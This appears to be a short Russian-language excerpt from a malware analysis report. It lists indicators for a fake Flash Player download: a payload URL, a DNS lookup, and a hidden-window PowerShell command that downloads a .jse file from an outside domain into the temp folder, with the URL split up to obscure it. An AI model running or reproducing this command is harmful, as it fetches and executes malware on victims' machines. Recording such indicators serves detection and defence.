Техническая информация
- http+s://vopiiarchoncentral.org/4796666232685/1505511003656837/flashplayer.jse как $d
- DNS ASK vo#####choncentral.org
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+[char][byte]92+'1616195766378.js';(New-Object System.Net.WebClient).DownloadFile('http'+'s://vopiiarchoncentral.org/4796666232685/1505511003656837/FlashPlayer.j...' (со скрытым окном)